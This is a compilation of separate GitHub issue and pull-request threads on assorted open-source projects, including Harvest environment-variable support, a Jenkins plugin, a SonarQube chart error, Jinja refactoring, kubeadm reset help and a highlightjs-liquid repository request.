To restore the original branch and stop patching, run "git am --abort".

In response to this:

/cherry-pick release-1.20

Instructions for interacting with me using PR comments are available here.  If you have questions or suggestions related to my behavior, please file an issue against the kubernetes/test-infra repository.

@bleggett: new issue created for failed cherrypick: #47523

In response to this:

/cherry-pick release-1.20

Instructions for interacting with me using PR comments are available here.  If you have questions or suggestions related to my behavior, please file an issue against the kubernetes/test-infra repository.


JobPrivateValues set to none cups only logs anonymous

Even with JobPrivateValues set to none cups only logs anonymous. This worked in v2.2.4 and after upgrading to 2.2.8 it fails to log the username.

This actually happens because of #5325 . Applying the patch from there fixes this issue as well.


Allow environment variables in harvest.yml

Hello,
we would like to migrate our package installation to the container installation (podman in our case) but I noticed that harvest.yml does not support reading values (credentials in our case) from environment variables ( for example in grafana config file we can reference to env. variable like this "${VAULT_TOKEN}" or $__env{VAULT_TOKEN}  )
Can you please add support for this ?
For now, I've created Vault script to fetch the credentials (and inject VAULT_TOKEN during deployment). This forces me to create my own image as I need to trust our self signed Vault CA.
Also, it would be great if you created "latest" release not just for docker images but for the tar.gz as well.
Right now, you publish only release specific files like this:
curl -L -O https://github.com/NetApp/harvest/releases/download/v22.08.0/harvest-22.08.0-1_linux_amd64.tar.gz
(so I have to change download URL with every release, even though we always want the latest official release)
It'd be helpful to have with each release files like this:
curl -L -O https://github.com/NetApp/harvest/releases/download/latest/harvest-latest_linux_amd64.tar.gz
Thank you

1, Yes, I'm using Vault script to fetch the credentials. However, this means I have to rebuild docker image myself. AFAIK, it is much better to use env. variables to pass secrets to the containers - definitely better than files on the disk (which might get committed to the container registry or repository by mistake)
2, We are using ansible to deploy the images/containers and I found "ansible way" of getting the latest release last night. However, the playbook is needlessly complicated because of this fact.
Harvest is already published to docker registry with latest tag that get overwritten with each release - I thought it would be good idea to have the same for rpm and tar.gz files ....

1, I rebuild the image because our Vault is served via https with self signed CA and uses mTLS. In order to trust the CA, I have to copy the CA certificate to the container and run update-ca-trust.
2, All of our images are committed to the registry, so they are easily re-deployed. This means we dont like to have outside dependency and inject harvest.yml into the image. Using environment variables we could run stock images from the registry with only env. variables stored in our deployment (which themselves are fetched from the Vault during deployment)

We are using different method.
You should not add support environment variable for each individual field. Rather read environment variables as defined.
For example like Grafana ....
In grafana.ini I defined the following:
[database]
user = $__env{GRAFANA_ADMIN_USERNAME}
password = $__env{GRAFANA_ADMIN_PASSWORD}

and when Grafana is launched, it reads environment variables GRAFANA_ADMIN_USERNAME and GRAFANA_ADMIN_PASSWORD respectively.
This way you can have single config, for multiple environments with each deployment pointing to different set of variables to be added to those env. variables. For example in Jenking PROD instance - GRAFANA_ADMIN_USERNAME would point to a different value than in Jenkins ACCEPTANCE instance. But the config would stay the same.

hi @wally007 we added this in #2714, which is in nightly if you want to try it out.
Documentation
https://netapp.github.io/harvest/nightly/configure-harvest-advanced/#variable-expansion

Tested in 24.05,
    sar:
      datacenter: rest
      addr: <IP_ADDRESS>
      username: $__env{NETAPP_SAR_USER}
      password: ${NETAPP_SAR_PASS}
      collectors:
        - Rest
        - RestPerf

without creating the env var,
harvest % ./bin/poller -p sar -o SVM -c Zapi --promPort 13001
2024-05-14T20:38:02+05:30 INF poller/poller.go:221 > Init Poller=sar asup=false confPath=conf config=harvest.yml configPath=harvest.yml cwd=/Users/hardikl/Documents/Harvest/harvest daemon=false debug=false homePath= hostname=hardikl-mac-0 logLevel=info logPath=/var/log/harvest/ profiling=0 promPort=13001 version="harvest version 24.05.14-1 (commit 74dcf38a) (build date 2024-05-14T20:27:43+0530) darwin/amd64"
2024-05-14T20:38:02+05:30 INF poller/poller.go:245 > started in foreground Poller=sar pid=5054
2024-05-14T20:38:02+05:30 ERR poller/poller.go:1165 > Failed to negotiateAPI error="missing parameter => username" Poller=sar collector=Zapi
2024-05-14T20:38:02+05:30 WRN poller/poller.go:674 > abort collector error="connection error => missing parameter => username" Poller=sar collector=Zapi object=SVM
2024-05-14T20:38:02+05:30 WRN poller/poller.go:312 > no collectors initialized, stopping Poller=sar
2024-05-14T20:38:02+05:30 INF poller/poller.go:535 > cleaning up and stopping [pid=5054] Poller=sar

created env vars
harvest % echo $NETAPP_SAR_USER
admin
harvest % echo $NETAPP_SAR_PASS
xxxxxxx

harvest % ./bin/poller -p sar -o SVM -c Zapi --promPort 13001
2024-05-14T20:39:52+05:30 INF poller/poller.go:221 > Init Poller=sar asup=false confPath=conf config=harvest.yml configPath=harvest.yml cwd=/Users/hardikl/Documents/Harvest/harvest daemon=false debug=false homePath= hostname=hardikl-mac-0 logLevel=info logPath=/var/log/harvest/ profiling=0 promPort=13001 version="harvest version 24.05.14-1 (commit 74dcf38a) (build date 2024-05-14T20:27:43+0530) darwin/amd64"
2024-05-14T20:39:52+05:30 INF poller/poller.go:245 > started in foreground Poller=sar pid=5137
2024-05-14T20:39:54+05:30 INF collector/helpers.go:88 > best-fit template Poller=sar collector=Zapi:SVM path=conf/zapi/cdot/9.8.0/svm.yaml v=9.13.1
2024-05-14T20:39:55+05:30 INF poller/poller.go:363 > Autosupport scheduled. Poller=sar asupSchedule=24h
2024-05-14T20:39:55+05:30 INF poller/poller.go:372 > poller start-up complete Poller=sar
2024-05-14T20:39:55+05:30 INF prometheus/httpd.go:40 > server listen Poller=sar exporter=prometheus1 url=http://:13001/metrics
2024-05-14T20:39:55+05:30 INF poller/poller.go:518 > updated status, up collectors: 1 (of 1), up exporters: 1 (of 1) Poller=sar
2024-05-14T20:40:01+05:30 INF collector/collector.go:593 > Collected Poller=sar apiMs=579 bytesRx=202517 calcMs=0 collector=Zapi:SVM exportMs=1 instances=86 instancesExported=29 metrics=396 metricsExported=124 numCalls=13 parseMs=4 pluginMs=5626 pollMs=6210 zBegin=1715699395427


Abort running

rebase of #85 to right branch

This change is

@mikz do you want to try it?

@KostyaSha will give it a spin! Thanks!

@mikz hi, have you tried this PR?

I did and it worked. Thanks!

Cool, squashing, merging and will do release!

matrix project could be broken...

damn workflow test, and rule seems not running clean jenkins instance in tests.

Can't normally interrupt workflow, :E

No, ... idea why workflow not abortable in normal way, making this test as ignore.

@mikz released

Looks like the master build is failing because of this https://jenkins.ci.cloudbees.com/job/plugins/job/github-integration-plugin/319/org.jenkins-ci.plugins$github-pullrequest/

Yes, two tests fails, and JenkinsRule that shouldn't affect methods between by running fresh instances doesn't do it. On my local machine everything passed. I think the issue maybe with older workflow plugin versions because i don't want enforce newer version. And probably on new everything would work. But frankly speaking i tired with Matrix and Workflow APIs... So if it works for you then fine :) If not then i would be glad to accept somebody else efforts.
I would better concentrate on #70

@udaybea I saw you made some forks, does it work for you?


UI feedback

Thank you guys for all your contribution. I tried hard not to criticize  but if i keep my mouth shut you guys will never understand what normal users are going though.
Earlier website was good but as you guys keep updating and integrating  many features, the website is now cluttered and he is hell confusing.

I would suggest simplicity over the feature.
For example,

Keeping one simple map on Home page and dedicated map page for all play around.
Same goes with the graph, Keep 1 simple graph on the home page and a dedicated section with many controls and fields for graph nerd.
We can have statewide pages as well to give a better and cleaner interface.

@passion8 Can you elaborate?

Closing cause no elaboration.


optimize image

i just uploaded another image. you want it like that?

Looks good! Let's schedule a video call to discuss listing (not just naming), please reach out to our company email.


Autodoc Read the docs

There is an issue related to automatic documentation. Currently althought the documentation is created and correctly compiled at deployment there is no documentation created from the docstrings. Source of this issue is still unknown but a possible fix is explained here

This is apparently working! Check the last version of the documentation. One example on the Configurator class autodoc is working here. The change might be tied to the change performed here 399a5b0a9368c9f5dad3edee39e275597347e17e

Check a fix done in #42 for more details


feat: [WIP] PyDevice concept and experimenting with acquire-imaging

hey hey @nclack!
(and @marktsuchida you might also be interested, but please don't be too worried by my explorations! :joy:)
here's my very very WIP stab on thinking about how I would integrate acquire-python into pymmcore-plus.
There's two things broadly going on here:

I'm fumbling my way around an AcquireCamera class that represents a runtime representation of an acquire camera that I can drive from the MDAEngine.  Mostly, i (think) I need it to be able to setup various device parameters, snap a single image (I know this is the part that is least compatible with your design), and setup/execute a streaming acquisition, where the camera is either a master or slave expecting a certain number of triggers. @nclack, it would be awesome if you could have a quick look at the acquire_cam.py file here and tell me if I'm doing anything that makes you want to 🤮
The other part concerns acquire a bit less (and will certainly concern @marktsuchida a bit more :joy:). It is playing with how we could integrate pure python (non-MM) devices into pymmcore-plus.  For that I'm:

overloading the loadSystemConfiguration method to add new "commands" to the config file specification.  Specifically, something like PyDevice,Camera,pymmcore_plus.devices.acquire_cam,AcquireCamera would mean "load the AcquireCamera class from the pymmcore_plus.devices.acquire_cam module (interface to be determined).  I'm playing with the idea that a single config could be used for both micro-manager Java, and pymmcore-plus (i.e. we'd be a super-set that would do stuff on top of the existing spec, but should fallback gracefully... so the command might be #PyDevice instead)
overloading various CMMCorePlus methods (the one that take a device label as the first argument) to first check whether the device is one of our own python-devices, and if so, use it's API instead of the MMCore API.  This is where it gets tricky, but for the moment, if we're simply restricting ourselves to cameras and the pymmcore-plus MDAEngine, it's definitely possible that we could get it to be "good enough" to incorporate non MMcore camera devices (probably the highest value target)

superceded by #407


sonarqube chart issue title

sonarqube has issue on OKD and OCP v3.11.
The main issue is the underlying DB, either mysql or postgresql, does not start.
in case of mysql, i get the following error.
error: failed switching to "mysql": operation not permitted
in case of postgresql, ige the following error.
same error. error: failed switching to "postgres": operation not permitted
sonarq pod errors out because the DB is not responding.
do you have any suggestion?
i am able to helm install wordpress with mariadb fine.  so the tiller seems to be working fine.

Same problem. Openshift 3.11. mariadb/server:10.4
Anyone has a solution?

Related issue: https://github.com/fabric8io/kubernetes-zipkin/issues/97


Implement connection open try from Sovereign to Cosmos

Part of: #245

[ ] Implement building of SovereignConnectionOpenTryPayload.
[ ] Implement building of CosmosMessage for ConnectionOpenTry.

Closed by #330


Make jinja really language indepened -> remove Hardcoded Markup and references

As described in #1377 I found that surprisingly Jinja hardcoded the usage of the Markup class quite deeply, i.e. to mark code as safe.
I would like to try to remove the hardcoded dependency, without changing the current behaviour.
My idea would be to replace all escape usage and Markup class generations by a function that is generated by the context and add a default MarkupClass generator to the environment for the Marco generation (only special case I found in the source code for which the context is not guaranteed and no html is considered anyway (i.e. htmlsafe_json_dumps or generate_lorem_ipsum with html parameter).
Also I would try to create a Protocol for the Markup class so people that want to create a custom one know which functions/operators are actually used by jinja.
What do you think about the idea?

Addressed this in #1377


remove akka-stream-contrib lib

Pull Request Checklist

[X] Have you read How to write the perfect pull request?
[X] Have you read through the contributor guidelines?

[ ] Have you added tests for any changed functionality?

Fixes
Fixes #xxxx
Purpose
What does this PR do?
removes akka-stream-contrib dependency
Background Context
Why did you take this approach?
the lib is not used and it complicates the build
References
Are there any relevant issues / PRs / mailing lists discussions?

Thx


Please find the screen shot below. I am getting this error in master while  following the doc

I think you have already initiated it before

You can even reset this by following command
Kubeadm reset --help
Use arguments that can help you

The reason that it mentions the port is in use is because you already ran kubeadm init once and it has already changed a number of things.
run "kubeadm reset" first to undo all of the changes from the first time you ran it.

I Think you understood hanocc.

Thanks Sandhya, please tell me the command to run...
On Fri 21 Jun, 2019, 7:12 PM sandhyadev<EMAIL_ADDRESS>wrote:

The reason that it mentions the port is in use is because you already ran
kubeadm init once and it has already changed a number of things.
run "kubeadm reset" first to undo all of the changes from the first time
you ran it.

I Think you understood hanocc.
—
You are receiving this because you authored the thread.
Reply to this email directly, view it on GitHub
https://github.com/QT-DevOps/DevOpsIssues/issues/507?email_source=notifications&email_token=AMHFRV6ZIYBJCJZFA6M7CFTP3TLCTA5CNFSM4H2MVKPKYY3PNVWWK3TUL52HS4DFVREXG43VMVBW63LNMVXHJKTDN5WW2ZLOORPWSZGODYIP4FY#issuecomment-504430103,
or mute the thread
https://github.com/notifications/unsubscribe-auth/AMHFRV6IP3E4OLW6KGFHJ53P3TLCTANCNFSM4H2MVKPA
.

Hi Sandhya,
From where I need to run this commad
Inside sudo -i or sudo usermod -aG?
On Fri 21 Jun, 2019, 7:14 PM Chilakapati Hanock<EMAIL_ADDRESS>wrote:

Thanks Sandhya, please tell me the command to run...
On Fri 21 Jun, 2019, 7:12 PM sandhyadev<EMAIL_ADDRESS>wrote:

The reason that it mentions the port is in use is because you already ran
kubeadm init once and it has already changed a number of things.
run "kubeadm reset" first to undo all of the changes from the first time
you ran it.

I Think you understood hanocc.
—
You are receiving this because you authored the thread.
Reply to this email directly, view it on GitHub
https://github.com/QT-DevOps/DevOpsIssues/issues/507?email_source=notifications&email_token=AMHFRV6ZIYBJCJZFA6M7CFTP3TLCTA5CNFSM4H2MVKPKYY3PNVWWK3TUL52HS4DFVREXG43VMVBW63LNMVXHJKTDN5WW2ZLOORPWSZGODYIP4FY#issuecomment-504430103,
or mute the thread
https://github.com/notifications/unsubscribe-auth/AMHFRV6IP3E4OLW6KGFHJ53P3TLCTANCNFSM4H2MVKPA
.

"kubeadm reset [Options]"-this command to getbacks any changes made by 'kubeadm init' or 'kubeadm join' commands.
I think it works but not sure because etcd store all details:
"kubeadm reset phase remove-etcd-member"
and run it as root user to avoid permission issues

Thanks, I'll check it out.
On Fri 21 Jun, 2019, 7:58 PM sandhyadev<EMAIL_ADDRESS>wrote:

"kubeadm reset [Options]"-this command to getbacks any changes made by
'kubeadm init' or 'kubeadm join' commands.
I think it works but not sure because etcd store all details:
"kubeadm reset phase remove-etcd-member"
and run it as root user to avoid permission issues
—
You are receiving this because you authored the thread.
Reply to this email directly, view it on GitHub
https://github.com/QT-DevOps/DevOpsIssues/issues/507?email_source=notifications&email_token=AMHFRV3KRUQSBIT3P55A6TTP3TQQRA5CNFSM4H2MVKPKYY3PNVWWK3TUL52HS4DFVREXG43VMVBW63LNMVXHJKTDN5WW2ZLOORPWSZGODYIT2II#issuecomment-504446241,
or mute the thread
https://github.com/notifications/unsubscribe-auth/AMHFRVZ7IZ7ZQTF54RDSM43P3TQQRANCNFSM4H2MVKPA
.

Hope your issue was been resolved if yes please close the issue


(request org repo) highlightjs-liquid

I would like to request the creation of a highlightjs-liquid repository for my 3rd party grammar.

[x] I have an existing personal repository ready to go

Metadata

Grammar Name: Liquid
Link to repo: https://github.com/laurelthorburn/liquid

Requirements

[x] I've read the language Contributor Checklist
[x] I've read the Language Contribution Guide
[x] I'm currently willing to support and maintain this grammar over time
[x] That repo includes a dist folder with CDN-ready CJS and ESM builds
[x] That README.md includes examples of simple web usage
[x] That README.md includes examples of Node.js usage

Afterwards
note: assuming i do this after the liquid repo has been created?
Submit a PR that:

[ ] adds mention of your new language to CHANGES.md
[x] updates SUPPORTED_LANGUAGES.md in the main library (https://github.com/highlightjs/highlight.js/pull/4174)

That repo includes a dist folder with CDN-ready CJS and ESM builds

I'm not seeing the dist folder in your repository.

That repo includes a dist folder with CDN-ready CJS and ESM builds

I'm not seeing the dist folder in your repository.

It's there on my local, let me see why it didn't push.

That repo includes a dist folder with CDN-ready CJS and ESM builds

I'm not seeing the dist folder in your repository.

@joshgoebel Yep, git ignore auto removed dist.  Fixed:
https://github.com/laurelthorburn/liquid/tree/main/dist

Done. https://github.com/highlightjs/highlightjs-liquid